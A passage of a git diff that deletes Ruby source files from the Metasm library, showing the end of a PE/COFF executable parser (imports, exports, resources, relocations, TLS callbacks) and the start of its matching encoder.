COFF optional header from coff.cursection - # also decodes directories in coff.directory - def decode(coff) - return set_default_values(coff) if coff.header.size_opthdr == 0 and not coff.header.characteristics.include?('EXECUTABLE_IMAGE') - off = coff.curencoded.ptr - super(coff) - nrva = (coff.header.size_opthdr - (coff.curencoded.ptr - off)) / 8 - nrva = @numrva if nrva < 0 - - if nrva > DIRECTORIES.length or nrva != @numrva - puts "W: COFF: Weird directories count #{@numrva}" if $VERBOSE - nrva = DIRECTORIES.length if nrva > DIRECTORIES.length - end - - coff.directory = {} - DIRECTORIES[0, nrva].each { |dir| - rva = coff.decode_word - sz = coff.decode_word - if rva != 0 or sz != 0 - coff.directory[dir] = [rva, sz] - end - } - end - end - - class Symbol - def decode(coff, strtab='') - n0, n1 = coff.decode_word, coff.decode_word - coff.encoded.ptr -= 8 - - super(coff) - - if n0 == 0 and ne = strtab.index(?\0, n1) - @name = strtab[n1...ne] - end - return if @nr_aux == 0 - - @aux = [] - @nr_aux.times { @aux << coff.encoded.read(18) } - end - end - - class Section - def decode(coff) - super(coff) - coff.decode_section_body(self) - end - end - - class RelocObj - def decode(coff) - super(coff) - @sym = coff.symbols[@symidx] - end - end - - class ExportDirectory - # decodes a COFF export table from coff.cursection - def decode(coff) - super(coff) - - if coff.sect_at_rva(@libname_p) - @libname = coff.decode_strz - end - - if coff.sect_at_rva(@func_p) - @exports = [] - addrs = [] - @num_exports.times { addrs << coff.decode_word } - @num_exports.times { |i| - e = Export.new - e.ordinal = i + @ordinal_base - addr = addrs[i] - if addr >= coff.directory['export_table'][0] and addr < coff.directory['export_table'][0] + coff.directory['export_table'][1] and coff.sect_at_rva(addr) - name = coff.decode_strz - e.forwarder_lib, name = name.split('.', 2) - if name[0] == ?# - e.forwarder_ordinal = name[1..-1].to_i - else - e.forwarder_name = name - end - else - e.target = e.target_rva = addr - end - @exports << e - } - end - if coff.sect_at_rva(@names_p) - namep = [] - num_names.times { namep << coff.decode_word } - end - if coff.sect_at_rva(@ord_p) - ords = [] - num_names.times { ords << coff.decode_half } - end - if namep and ords - namep.zip(ords).each { |np, oi| - @exports[oi].name_p = np - if coff.sect_at_rva(np) - @exports[oi].name = coff.decode_strz - end - } - end - end - end - - class ImportDirectory - # decodes all COFF import directories from coff.cursection - def self.decode_all(coff) - ret = [] - loop do - idata = decode(coff) - break if [idata.ilt_p, idata.libname_p].uniq == [0] - ret << idata - end - ret.each { |idata| idata.decode_inner(coff) } - ret - end - - # decode the tables referenced - def decode_inner(coff) - if coff.sect_at_rva(@libname_p) - @libname = coff.decode_strz - end - - if coff.sect_at_rva(@ilt_p) || coff.sect_at_rva(@iat_p) - addrs = [] - while (a_ = coff.decode_xword) != 0 - addrs << a_ - end - - @imports = [] - - ord_mask = 1 << (coff.bitsize-1) - addrs.each { |a| - i = Import.new - if (a & ord_mask) != 0 - i.ordinal = a & (~ord_mask) - else - i.hintname_p = a - if coff.sect_at_rva(a) - i.hint = coff.decode_half - i.name = coff.decode_strz - end - end - @imports << i - } - end - - if coff.sect_at_rva(@iat_p) - @iat = [] - while (a = coff.decode_xword) != 0 - @iat << a - end - end - end - end - - class ResourceDirectory - def decode(coff, edata = coff.curencoded, startptr = edata.ptr, maxdepth=3) - super(coff, edata) - - @entries = [] - - nrnames = @nr_names if $DEBUG - (@nr_names+@nr_id).times { - e = Entry.new - - e_id = coff.decode_word(edata) - e_ptr = coff.decode_word(edata) - - if not e_id.kind_of? Integer or not e_ptr.kind_of? Integer - puts 'W: COFF: relocs in the rsrc directory?' if $VERBOSE - next - end - - tmp = edata.ptr - - if (e_id >> 31) == 1 - if $DEBUG - nrnames -= 1 - puts "W: COFF: rsrc has invalid id #{e_id}" if nrnames < 0 - end - e.name_p = e_id & 0x7fff_ffff - edata.ptr = startptr + e.name_p - namelen = coff.decode_half(edata) - e.name_w = edata.read(2*namelen) - if (chrs = e.name_w.unpack('v*')).all? { |c| c >= 0 and c <= 255 } - e.name = chrs.pack('C*') - end - else - if $DEBUG - puts "W: COFF: rsrc has invalid id #{e_id}" if nrnames > 0 - end - e.id = e_id - end - - if (e_ptr >> 31) == 1 # subdir - e.subdir_p = e_ptr & 0x7fff_ffff - if startptr + e.subdir_p >= edata.length - puts 'W: COFF: invalid resource structure: directory too far' if $VERBOSE - elsif maxdepth > 0 - edata.ptr = startptr + e.subdir_p - e.subdir = ResourceDirectory.new - e.subdir.decode coff, edata, startptr, maxdepth-1 - else - puts 'W: COFF: recursive resource section' if $VERBOSE - end - else - e.dataentry_p = e_ptr - edata.ptr = startptr + e.dataentry_p - e.data_p = coff.decode_word(edata) - sz = coff.decode_word(edata) - e.codepage = coff.decode_word(edata) - e.reserved = coff.decode_word(edata) - - if coff.sect_at_rva(e.data_p) - e.data = coff.curencoded.read(sz) - else - puts 'W: COFF: invalid resource body offset' if $VERBOSE - break - end - end - - edata.ptr = tmp - @entries << e - } - end - - def decode_version(coff, lang=nil) - vers = {} - - decode_tllv = lambda { |ed, state| - sptr = ed.ptr - len, vlen = coff.decode_half(ed), coff.decode_half(ed) - coff.decode_half(ed) # type - tagname = '' - while c = coff.decode_half(ed) and c != 0 - tagname << (c&255) - end - ed.ptr = (ed.ptr + 3) / 4 * 4 - - case state - when 0 - raise if tagname != 'VS_VERSION_INFO' - dat = ed.read(vlen) - dat.unpack('V*').zip([:signature, :strucversion, :fileversionm, :fileversionl, :prodversionm, :prodversionl, :fileflagsmask, :fileflags, :fileos, :filetype, :filesubtype, :filedatem, :filedatel]) { |v, k| vers[k] = v } - raise if vers[:signature] != 0xfeef04bd - vers.delete :signature - vers[:fileversion] = (vers.delete(:fileversionm) << 32) | vers.delete(:fileversionl) - vers[:prodversion] = (vers.delete(:prodversionm) << 32) | vers.delete(:prodversionl) - vers[:filedate] = (vers.delete(:filedatem) << 32) | vers.delete(:filedatel) - nstate = 1 - when 1 - nstate = case tagname - when 'StringFileInfo'; :strtable - when 'VarFileInfo'; :var - else raise - end - when :strtable - nstate = :str - when :str - val = ed.read(vlen*2).unpack('v*') - val.pop if val[-1] == 0 - val = val.pack('C*') if val.all? { |c_| c_ > 0 and c_ < 256 } - vers[tagname] = val - when :var - val = ed.read(vlen).unpack('V*') - vers[tagname] = val - end - - ed.ptr = (ed.ptr + 3) / 4 * 4 - len = ed.length-sptr if len > ed.length-sptr - while ed.ptr < sptr+len - decode_tllv[ed, nstate] - ed.ptr = (ed.ptr + 3) / 4 * 4 - end - } - - return if not e = @entries.find { |e_| e_.id == TYPE.index('VERSION') } - e = e.subdir.entries.first.subdir - e = e.entries.find { |e_| e_.id == lang } || e.entries.first - ed = EncodedData.new(e.data) - decode_tllv[ed, 0] - - vers - #rescue - end - end - - class RelocationTable - # decodes a relocation table from coff.encoded.ptr - def decode(coff) - super(coff) - len = coff.decode_word - len -= 8 - if len < 0 or len % 2 != 0 - puts "W: COFF: Invalid relocation table length #{len+8}" if $VERBOSE - coff.curencoded.read(len) if len > 0 - @relocs = [] - return - end - - @relocs = coff.curencoded.read(len).unpack(coff.endianness == :big ? 'n*' : 'v*').map { |r| Relocation.new(r&0xfff, r>>12) } - #(len/2).times { @relocs << Relocation.decode(coff) } # tables may be big, this is too slow - end - end - - class TLSDirectory - def decode(coff) - super(coff) - - if coff.sect_at_va(@callback_p) - @callbacks = [] - while (ptr = coff.decode_xword) != 0 - # __stdcall void (*ptr)(void* dllhandle, dword reason, void* reserved) - # (same as dll entrypoint) - @callbacks << (ptr - coff.optheader.image_base) - end - end - end - end - - class LoadConfig - def decode(coff) - super(coff) - - if @sehcount >= 0 and @sehcount < 100 and (@signature == 0x40 or @signature == 0x48) and coff.sect_at_va(@sehtable_p) - @safeseh = [] - @sehcount.times { @safeseh << coff.decode_xword } - end - end - end - - class DelayImportDirectory - def self.decode_all(coff) - ret = [] - loop do - didata = decode(coff) - break if [didata.libname_p, didata.handle_p, didata.iat_p].uniq == [0] - ret << didata - end - ret.each { |didata| didata.decode_inner(coff) } - ret - end - - def decode_inner(coff) - if coff.sect_at_rva(@libname_p) - @libname = coff.decode_strz - end - # TODO - end - end - - class Cor20Header - def decode_all(coff) - if coff.sect_at_rva(@metadata_rva) - @metadata = coff.curencoded.read(@metadata_sz) - end - if coff.sect_at_rva(@resources_rva) - @resources = coff.curencoded.read(@resources_sz) - end - if coff.sect_at_rva(@strongnamesig_rva) - @strongnamesig = coff.curencoded.read(@strongnamesig_sz) - end - if coff.sect_at_rva(@codemgr_rva) - @codemgr = coff.curencoded.read(@codemgr_sz) - end - if coff.sect_at_rva(@vtfixup_rva) - @vtfixup = coff.curencoded.read(@vtfixup_sz) - end - if coff.sect_at_rva(@eatjumps_rva) - @eatjumps = coff.curencoded.read(@eatjumps_sz) - end - if coff.sect_at_rva(@managednativehdr_rva) - @managednativehdr = coff.curencoded.read(@managednativehdr_sz) - end - end - end - - class DebugDirectory - def decode_inner(coff) - case @type - when 'CODEVIEW' - # XXX what is @pointer? - return if not coff.sect_at_rva(@addr) - sig = coff.curencoded.read(4) - case sig - when 'NB09' # CodeView 4.10 - when 'NB10' # external pdb2.0 - @data = NB10.decode(coff) - when 'NB11' # CodeView 5.0 - when 'RSDS' # external pdb7.0 - @data = RSDS.decode(coff) - end - end - end - end - - attr_accessor :cursection - def curencoded - @cursection.encoded - end - - def decode_byte( edata = curencoded) ; edata.decode_imm(:u8, @endianness) end - def decode_half( edata = curencoded) ; edata.decode_imm(:u16, @endianness) end - def decode_word( edata = curencoded) ; edata.decode_imm(:u32, @endianness) end - def decode_xword(edata = curencoded) ; edata.decode_imm((@bitsize == 32 ? :u32 : :u64), @endianness) end - def decode_strz( edata = curencoded) ; super(edata) ; end - - # converts an RVA (offset from base address of file when loaded in memory) to the section containing it using the section table - # updates @cursection and @cursection.encoded.ptr to point to the specified address - # may return self when rva points to the coff header - # returns nil if none match, 0 never matches - def sect_at_rva(rva) - return if not rva or rva <= 0 - if sections and not @sections.empty? - if s = @sections.find { |s_| s_.virtaddr <= rva and s_.virtaddr + EncodedData.align_size((s_.virtsize == 0 ? s_.rawsize : s_.virtsize), @optheader.sect_align) > rva } - s.encoded.ptr = rva - s.virtaddr - @cursection = s - elsif rva < @sections.map { |s_| s_.virtaddr }.min - @encoded.ptr = rva - @cursection = self - end - elsif rva <= @encoded.length - @encoded.ptr = rva - @cursection = self - end - end - - def sect_at_va(va) - sect_at_rva(va - @optheader.image_base) - end - - def label_rva(name) - if name.kind_of? Integer - name - elsif s = @sections.find { |s_| s_.encoded.export[name] } - s.virtaddr + s.encoded.export[name] - else - @encoded.export[name] - end - end - - # address -> file offset - # handles LoadedPE - def addr_to_fileoff(addr) - addr -= @load_address ||= @optheader.image_base - return 0 if addr == 0 # sect_at_rva specialcases 0 - if s = sect_at_rva(addr) - if s.respond_to? :virtaddr - addr - s.virtaddr + s.rawaddr - else # header - addr - end - end - end - - # file offset -> memory address - # handles LoadedPE - def fileoff_to_addr(foff) - if s = @sections.find { |s_| s_.rawaddr <= foff and s_.rawaddr + s_.rawsize > foff } - s.virtaddr + foff - s.rawaddr + (@load_address ||= @optheader.image_base) - elsif foff >= 0 and foff < @optheader.headers_size - foff + (@load_address ||= @optheader.image_base) - end - end - - def each_section - if @header.size_opthdr == 0 and not @header.characteristics.include?('EXECUTABLE_IMAGE') - @sections.each { |s| - next if not s.encoded - l = new_label(s.name) - s.encoded.add_export(l, 0) - yield s.encoded, l - } - return - end - base = @optheader.image_base - base = 0 if not base.kind_of? Integer - sz = @optheader.headers_size - sz = EncodedData.align_size(@optheader.image_size, 4096) if @sections.empty? - yield @encoded[0, sz], base - @sections.each { |s| yield s.encoded, base + s.virtaddr } - end - - # decodes the COFF header, optional header, section headers - # marks entrypoint and directories as edata.expord - def decode_header - @cursection ||= self - @encoded.ptr ||= 0 - @sections = [] - @header.decode(self) - optoff = @encoded.ptr - @optheader.decode(self) - decode_symbols if @header.num_sym != 0 and not @header.characteristics.include? 'DEBUG_STRIPPED' - curencoded.ptr = optoff + @header.size_opthdr - decode_sections - if sect_at_rva(@optheader.entrypoint) - curencoded.add_export new_label('entrypoint') - end - (DIRECTORIES - ['certificate_table']).each { |d| - if @directory[d] and sect_at_rva(@directory[d][0]) - curencoded.add_export new_label(d) - end - } - end - - # decode the COFF symbol table (obj only) - def decode_symbols - endptr = @encoded.ptr = @header.ptr_sym + 18*@header.num_sym - strlen = decode_word - @encoded.ptr = endptr - strtab = @encoded.read(strlen) - @encoded.ptr = @header.ptr_sym - @symbols = [] - @header.num_sym.times { - break if @encoded.ptr >= endptr or @encoded.ptr >= @encoded.length - @symbols << Symbol.decode(self, strtab) - # keep the reloc.sym_idx accurate - @symbols.last.nr_aux.times { @symbols << nil } - } - end - - # decode the COFF sections - def decode_sections - @header.num_sect.times { - @sections << Section.decode(self) - } - # now decode COFF object relocations - @sections.each { |s| - next if s.relocnr == 0 - curencoded.ptr = s.relocaddr - s.relocs = [] - s.relocnr.times { s.relocs << RelocObj.decode(self) } - new_label 'pcrel' - s.relocs.each { |r| - case r.type - when 'DIR32' - s.encoded.reloc[r.va] = Metasm::Relocation.new(Expression[r.sym.name], :u32, @endianness) - when 'REL32' - l = new_label('pcrel') - s.encoded.add_export(l, r.va+4) - s.encoded.reloc[r.va] = Metasm::Relocation.new(Expression[r.sym.name, :-, l], :u32, @endianness) - end - } - } if not @header.characteristics.include?('RELOCS_STRIPPED') - symbols.to_a.compact.each { |sym| - next if not sym.sec_nr.kind_of? Integer - next if sym.storage != 'EXTERNAL' and (sym.storage != 'STATIC' or sym.value == 0) - next if not s = @sections[sym.sec_nr-1] - s.encoded.add_export new_label(sym.name), sym.value - } - end - - # decodes a section content (allows simpler LoadedPE override) - def decode_section_body(s) - raw = EncodedData.align_size(s.rawsize, @optheader.file_align) - virt = s.virtsize - virt = raw = s.rawsize if @header.size_opthdr == 0 - virt = raw if virt == 0 - virt = EncodedData.align_size(virt, @optheader.sect_align) - s.encoded = @encoded[s.rawaddr, [raw, virt].min] || EncodedData.new - s.encoded.virtsize = virt - end - - # decodes COFF export table from directory - # mark exported names as encoded.export - def decode_exports - if @directory['export_table'] and sect_at_rva(@directory['export_table'][0]) - @export = ExportDirectory.decode(self) - @export.exports.to_a.each { |e| - if e.name and sect_at_rva(e.target) - name = e.name - elsif e.ordinal and sect_at_rva(e.target) - name = "ord_#{@export.libname}_#{e.ordinal}" - end - e.target = curencoded.add_export new_label(name) if name - } - end - end - - # decodes COFF import tables from directory - # mark iat entries as encoded.export - def decode_imports - if @directory['import_table'] and sect_at_rva(@directory['import_table'][0]) - @imports = ImportDirectory.decode_all(self) - iatlen = @bitsize/8 - @imports.each { |id| - if sect_at_rva(id.iat_p) - ptr = curencoded.ptr - id.imports.each { |i| - if i.name - name = new_label i.name - elsif i.ordinal - name = new_label "ord_#{id.libname}_#{i.ordinal}" - end - if name - i.target ||= name - r = Metasm::Relocation.new(Expression[name], "u#@bitsize".to_sym, @endianness) - curencoded.reloc[ptr] = r - curencoded.add_export new_label('iat_'+name), ptr, true - end - ptr += iatlen - } - end - } - end - end - - # decodes resources from directory - def decode_resources - if @directory['resource_table'] and sect_at_rva(@directory['resource_table'][0]) - @resource = ResourceDirectory.decode(self) - end - end - - # decode the VERSION information from the resources (file version, os, copyright etc) - def decode_version(lang=0x409) - decode_resources if not resource - resource.decode_version(self, lang) - end - - # decodes certificate table - def decode_certificates - if ct = @directory['certificate_table'] - @certificates = [] - @cursection = self - if ct[0] > @encoded.length or ct[1] > @encoded.length - ct[0] - puts "W: COFF: invalid certificate_table #{'0x%X+0x%0X' % ct}" if $VERBOSE - ct = [ct[0], 1] - end - @encoded.ptr = ct[0] - off_end = ct[0]+ct[1] - off_end = @encoded.length if off_end > @encoded.length - while @encoded.ptr < off_end - certlen = decode_word - certrev = decode_half - certtype = decode_half - certdat = @encoded.read(certlen) - @certificates << [certrev, certtype, certdat] - end - end - end - - # decode the COM Cor20 header - def decode_com - if @directory['com_runtime'] and sect_at_rva(@directory['com_runtime'][0]) - @com_header = Cor20Header.decode(self) - if sect_at_rva(@com_header.entrypoint) - curencoded.add_export new_label('com_entrypoint') - end - @com_header.decode_all(self) - end - end - - # decode COFF relocation tables from directory - def decode_relocs - if @directory['base_relocation_table'] and sect_at_rva(@directory['base_relocation_table'][0]) - end_ptr = curencoded.ptr + @directory['base_relocation_table'][1] - @relocations = [] - while curencoded.ptr < end_ptr - @relocations << RelocationTable.decode(self) - end - - # interpret as EncodedData relocations - relocfunc = ('decode_reloc_' << @header.machine.downcase).to_sym - if not respond_to? relocfunc - puts "W: COFF: unsupported relocs for architecture #{@header.machine}" if $VERBOSE - return - end - @relocations.each { |rt| - rt.relocs.each { |r| - if s = sect_at_rva(rt.base_addr + r.offset) - e, p = s.encoded, s.encoded.ptr - rel = send(relocfunc, r) - e.reloc[p] = rel if rel - end - } - } - end - end - - # decodes an I386 COFF relocation pointing to encoded.ptr - def decode_reloc_i386(r) - case r.type - when 'ABSOLUTE' - when 'HIGHLOW' - addr = decode_word - if s = sect_at_va(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - Metasm::Relocation.new(Expression[label], :u32, @endianness) - end - when 'DIR64' - addr = decode_xword - if s = sect_at_va(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - Metasm::Relocation.new(Expression[label], :u64, @endianness) - end - else puts "W: COFF: Unsupported i386 relocation #{r.inspect}" if $VERBOSE - end - end - - def decode_reloc_amd64(r) - case r.type - when 'ABSOLUTE' - when 'HIGHLOW' - addr = decode_word - if s = sect_at_va(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - Metasm::Relocation.new(Expression[label], :u32, @endianness) - end - when 'DIR64' - addr = decode_xword - if s = sect_at_va(addr) - label = label_at(s.encoded, s.encoded.ptr, "xref_#{Expression[addr]}") - Metasm::Relocation.new(Expression[label], :u64, @endianness) - end - else puts "W: COFF: Unsupported amd64 relocation #{r.inspect}" if $VERBOSE - end - end - - def decode_debug - if dd = @directory['debug'] and sect_at_rva(dd[0]) - @debug = [] - p0 = curencoded.ptr - while curencoded.ptr < p0 + dd[1] - @debug << DebugDirectory.decode(self) - end - @debug.each { |dbg| dbg.decode_inner(self) } - end - end - - # decode TLS directory, including tls callback table - def decode_tls - if @directory['tls_table'] and sect_at_rva(@directory['tls_table'][0]) - @tls = TLSDirectory.decode(self) - if s = sect_at_va(@tls.callback_p) - s.encoded.add_export 'tls_callback_table' - @tls.callbacks.each_with_index { |cb, i| - @tls.callbacks[i] = curencoded.add_export "tls_callback_#{i}" if sect_at_rva(cb) - } - end - end - end - - def decode_loadconfig - if lc = @directory['load_config'] and sect_at_rva(lc[0]) - @loadconfig = LoadConfig.decode(self) - end - end - - def decode_delayimports - if di = @directory['delay_import_table'] and sect_at_rva(di[0]) - @delayimports = DelayImportDirectory.decode_all(self) - end - end - - - # decodes a COFF file (headers/exports/imports/relocs/sections) - # starts at encoded.ptr - def decode - decode_header - decode_exports - decode_imports - decode_resources - decode_certificates - decode_debug - decode_tls - decode_loadconfig - decode_delayimports - decode_com - decode_relocs unless nodecode_relocs or ENV['METASM_NODECODE_RELOCS'] # decode relocs last - end - - # returns a metasm CPU object corresponding to +header.machine+ - def cpu_from_headers - case @header.machine - when 'I386'; Ia32.new - when 'AMD64'; X86_64.new - when 'R4000'; MIPS.new(:little) - else raise "unknown cpu #{@header.machine}" - end - end - - # returns an array including the PE entrypoint and the exported functions entrypoints - # TODO filter out exported data, include safeseh ? - def get_default_entrypoints - ep = [] - ep.concat @tls.callbacks.to_a if tls - ep << (@optheader.image_base + label_rva(@optheader.entrypoint)) - @export.exports.to_a.each { |e| - next if e.forwarder_lib or not e.target - ep << (@optheader.image_base + label_rva(e.target)) - } if export - ep - end - - def dump_section_header(addr, edata) - s = @sections.find { |s_| s_.virtaddr == addr-@optheader.image_base } - s ? "\n.section #{s.name.inspect} base=#{Expression[addr]}" : - addr == @optheader.image_base ? "// exe header at #{Expression[addr]}" : super(addr, edata) - end - - # returns an array of [name, addr, length, info] - def section_info - [['header', @optheader.image_base, @optheader.headers_size, nil]] + - @sections.map { |s| - [s.name, @optheader.image_base + s.virtaddr, s.virtsize, s.characteristics.join(',')] - } - end -end - -class COFFArchive - class Member - def decode(ar) - @offset = ar.encoded.ptr - - super(ar) - raise 'bad member header' + self.inspect if @eoh != "`\n" - - @name.strip! - @date = @date.to_i - @uid = @uid.to_i - @gid = @gid.to_i - @mode = @mode.to_i(8) - @size = @size.to_i - - @encoded = ar.encoded[ar.encoded.ptr, @size] - ar.encoded.ptr += @size - ar.encoded.ptr += 1 if @size & 1 == 1 - end - - # TODO XXX are those actually used ? - def decode_half ; @encoded.decode_imm(:u16, :big) end - def decode_word ; @encoded.decode_imm(:u32, :big) end - - def exe; AutoExe.decode(@encoded) ; end - end - - def decode_half(edata = @encoded) ; edata.decode_imm(:u16, :little) end - def decode_word(edata = @encoded) ; edata.decode_imm(:u32, :little) end - def decode_strz(edata = @encoded) - i = edata.data.index(?\0, edata.ptr) || edata.data.index(?\n, edata.ptr) || (edata.length+1) - edata.read(i+1-edata.ptr).chop - end - - def decode_first_linker(m) - offsets = [] - names = [] - m.encoded.ptr = 0 - numsym = m.decode_word - numsym.times { offsets << m.decode_word } - numsym.times { names << decode_strz(m.encoded) } - - # names[42] is found in object at file offset offsets[42] - # offsets are sorted by object index (all syms from 1st object, then 2nd etc) - - @first_linker = names.zip(offsets) #.inject({}) { |h, (n, o)| h.update n => o } - end - - def decode_second_linker(m) - names = [] - mboffsets = [] - indices = [] - m = @members[1] - m.encoded.ptr = 0 - nummb = decode_word(m.encoded) - nummb.times { mboffsets << decode_word(m.encoded) } - numsym = decode_word(m.encoded) - numsym.times { indices << decode_half(m.encoded) } - numsym.times { names << decode_strz(m.encoded) } - - # names[42] is found in object at file offset mboffsets[indices[42]] - # symbols sorted by symbol name (supposed to be more efficient, but no index into string table...) - - #names.zip(indices).inject({}) { |h, (n, i)| h.update n => mboffsets[i] } - @second_linker = [names, mboffsets, indices] - end - - def decode_longnames(m) - @longnames = m.encoded - end - - # set real name to archive members - # look it up in the name table member if needed, or just remove the trailing / - def fixup_names - @members.each { |m| - case m.name - when '/' - when '//' - when /^\/(\d+)/ - @longnames.ptr = $1.to_i - m.name = decode_strz(@longnames).chomp("/") - else m.name.chomp! "/" - end - } - end - - def decode - @encoded.ptr = 0 - @signature = @encoded.read(8) - raise InvalidExeFormat, "Invalid COFF Archive signature #{@signature.inspect}" if @signature != "!\n" - @members = [] - while @encoded.ptr < @encoded.virtsize - @members << Member.decode(self) - end - @members.each { |m| - case m.name - when '/'; @first_linker ? decode_second_linker(m) : decode_first_linker(m) - when '//'; decode_longnames(m) - else break - end - } - fixup_names - end -end -end diff --git a/lib/metasm/metasm/exe_format/coff_encode.rb b/lib/metasm/metasm/exe_format/coff_encode.rb deleted file mode 100644 index 2f449f9e6d..0000000000 --- a/lib/metasm/metasm/exe_format/coff_encode.rb +++ /dev/null @@ -1,1076 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/encode' -require 'metasm/exe_format/coff' unless defined? Metasm::COFF - -module Metasm -class COFF - class OptionalHeader - # encodes an Optional header and the directories - def encode(coff) - opth = super(coff) - - DIRECTORIES[0, @numrva].each { |d| - if d = coff.directory[d] - d = d.dup - d[0] = Expression[d[0], :-, coff.label_at(coff.encoded, 0)] if d[0].kind_of?(::String) - else - d = [0, 0] - end - opth << coff.encode_word(d[0]) << coff.encode_word(d[1]) - } - - opth - end - - # find good default values for optheader members, based on coff.sections - def set_default_values(coff) - @signature ||= (coff.bitsize == 64 ? 'PE+' : 'PE') - @link_ver_maj ||= 1 - @link_ver_min ||= 0 - @sect_align ||= 0x1000 - align = lambda { |sz| EncodedData.align_size(sz, @sect_align) } - @code_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_CODE' }.inject(0) { |sum, s| sum + align[s.virtsize] } - @data_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_DATA' }.inject(0) { |sum, s| sum + align[s.virtsize] } - @udata_size ||= coff.sections.find_all { |s| s.characteristics.include? 'CONTAINS_UDATA' }.inject(0) { |sum, s| sum + align[s.virtsize] } - @entrypoint = Expression[@entrypoint, :-, coff.label_at(coff.encoded, 0)] if entrypoint and not @entrypoint.kind_of?(::Integer) - tmp = coff.sections.find { |s| s.characteristics.include? 'CONTAINS_CODE' } - @base_of_code ||= (tmp ? Expression[coff.label_at(tmp.encoded, 0), :-, coff.label_at(coff.encoded, 0)] : 0) - tmp = coff.sections.find { |s| s.characteristics.include? 'CONTAINS_DATA' } - @base_of_data ||= (tmp ? Expression[coff.label_at(tmp.encoded, 0), :-, coff.label_at(coff.encoded, 0)] : 0) - @file_align ||= 0x200 - @os_ver_maj ||= 4 - @subsys_maj ||= 4 - @stack_reserve||= 0x100000 - @stack_commit ||= 0x1000 - @heap_reserve ||= 0x100000 - @heap_commit ||= 0x1000 - @numrva ||= DIRECTORIES.length - - super(coff) - end - end - - class Section - # find good default values for section header members, defines rawaddr/rawsize as new_label for later fixup - def set_default_values(coff) - @name ||= '' - @virtsize ||= @encoded.virtsize - @virtaddr ||= Expression[coff.label_at(@encoded, 0, 'sect_start'), :-, coff.label_at(coff.encoded, 0)] - @rawsize ||= coff.new_label('sect_rawsize') - @rawaddr ||= coff.new_label('sect_rawaddr') - - super(coff) - end - end - - class ExportDirectory - # encodes an export directory - def encode(coff) - edata = {} - %w[edata addrtable namptable ord_table libname nametable].each { |name| - edata[name] = EncodedData.new - } - label = lambda { |n| coff.label_at(edata[n], 0, n) } - rva = lambda { |n| Expression[label[n], :-, coff.label_at(coff.encoded, 0)] } - rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } - - # ordinal base: smallest number > 1 to honor ordinals, minimize gaps - olist = @exports.map { |e| e.ordinal }.compact - # start with lowest ordinal, substract all exports unused to fill ordinal sequence gaps - omin = olist.min.to_i - gaps = olist.empty? ? 0 : olist.max+1 - olist.min - olist.length - noord = @exports.length - olist.length - @ordinal_base ||= [omin - (noord - gaps), 1].max - - @libname_p = rva['libname'] - @num_exports = [@exports.length, @exports.map { |e| e.ordinal }.compact.max.to_i - @ordinal_base].max - @num_names = @exports.find_all { |e| e.name }.length - @func_p = rva['addrtable'] - @names_p = rva['namptable'] - @ord_p = rva['ord_table'] - - edata['edata'] << super(coff) - - edata['libname'] << @libname << 0 - - elist = @exports.find_all { |e| e.name and not e.ordinal }.sort_by { |e| e.name } - @exports.find_all { |e| e.ordinal }.sort_by { |e| e.ordinal }.each { |e| elist.insert(e.ordinal-@ordinal_base, e) } - elist.each { |e| - if not e - # export by ordinal with gaps - # XXX test this value with the windows loader - edata['addrtable'] << coff.encode_word(0xffff_ffff) - next - end - if e.forwarder_lib - edata['addrtable'] << coff.encode_word(rva_end['nametable']) - edata['nametable'] << e.forwarder_lib << ?. << - if not e.forwarder_name - "##{e.forwarder_ordinal}" - else - e.forwarder_name - end << 0 - else - edata['addrtable'] << coff.encode_word(Expression[e.target, :-, coff.label_at(coff.encoded, 0)]) - end - if e.name - edata['ord_table'] << coff.encode_half(edata['addrtable'].virtsize/4 - 1) - edata['namptable'] << coff.encode_word(rva_end['nametable']) - edata['nametable'] << e.name << 0 - end - } - - # sorted by alignment directives - %w[edata addrtable namptable ord_table libname nametable].inject(EncodedData.new) { |ed, name| ed << edata[name] } - end - - def set_default_values(coff) - @timestamp ||= Time.now.to_i - @libname ||= 'metalib' - @ordinal_base ||= 1 - - super(coff) - end - end - - class ImportDirectory - # encode all import directories + iat - def self.encode(coff, ary) - edata = { 'iat' => [] } - %w[idata ilt nametable].each { |name| edata[name] = EncodedData.new } - - ary.each { |i| i.encode(coff, edata) } - - it = edata['idata'] << - coff.encode_word(0) << - coff.encode_word(0) << - coff.encode_word(0) << - coff.encode_word(0) << - coff.encode_word(0) << - edata['ilt'] << - edata['nametable'] - - iat = edata['iat'] # why not fragmented ? - - [it, iat] - end - - # encode one import directory + iat + names in the edata hash received as arg - def encode(coff, edata) - edata['iat'] << EncodedData.new - # edata['ilt'] = edata['iat'] - label = lambda { |n| coff.label_at(edata[n], 0, n) } - rva_end = lambda { |n| Expression[[label[n], :-, coff.label_at(coff.encoded, 0)], :+, edata[n].virtsize] } - - @libname_p = rva_end['nametable'] - @ilt_p = rva_end['ilt'] - @iat_p ||= Expression[coff.label_at(edata['iat'].last, 0, 'iat'), :-, coff.label_at(coff.encoded, 0)] - edata['idata'] << super(coff) - - edata['nametable'] << @libname << 0 - - ord_mask = 1 << (coff.bitsize - 1) - @imports.each { |i| - edata['iat'].last.add_export i.target, edata['iat'].last.virtsize if i.target - if i.ordinal - ptr = coff.encode_xword(Expression[i.ordinal, :|, ord_mask]) - else - edata['nametable'].align 2 - ptr = coff.encode_xword(rva_end['nametable']) - edata['nametable'] << coff.encode_half(i.hint || 0) << i.name << 0 - end - edata['ilt'] << ptr - edata['iat'].last << ptr - } - edata['ilt'] << coff.encode_xword(0) - edata['iat'].last << coff.encode_xword(0) - end - end - - class TLSDirectory - def encode(coff) - cblist = EncodedData.new - @callback_p = coff.label_at(cblist, 0, 'callback_p') - @callbacks.to_a.each { |cb| - cblist << coff.encode_xword(cb) - } - cblist << coff.encode_xword(0) - - dir = super(coff) - - [dir, cblist] - end - - def set_default_values(coff) - @start_va ||= 0 - @end_va ||= @start_va - - super(coff) - end - end - - class RelocationTable - # encodes a COFF relocation table - def encode(coff) - rel = super(coff) << coff.encode_word(8 + 2*@relocs.length) - @relocs.each { 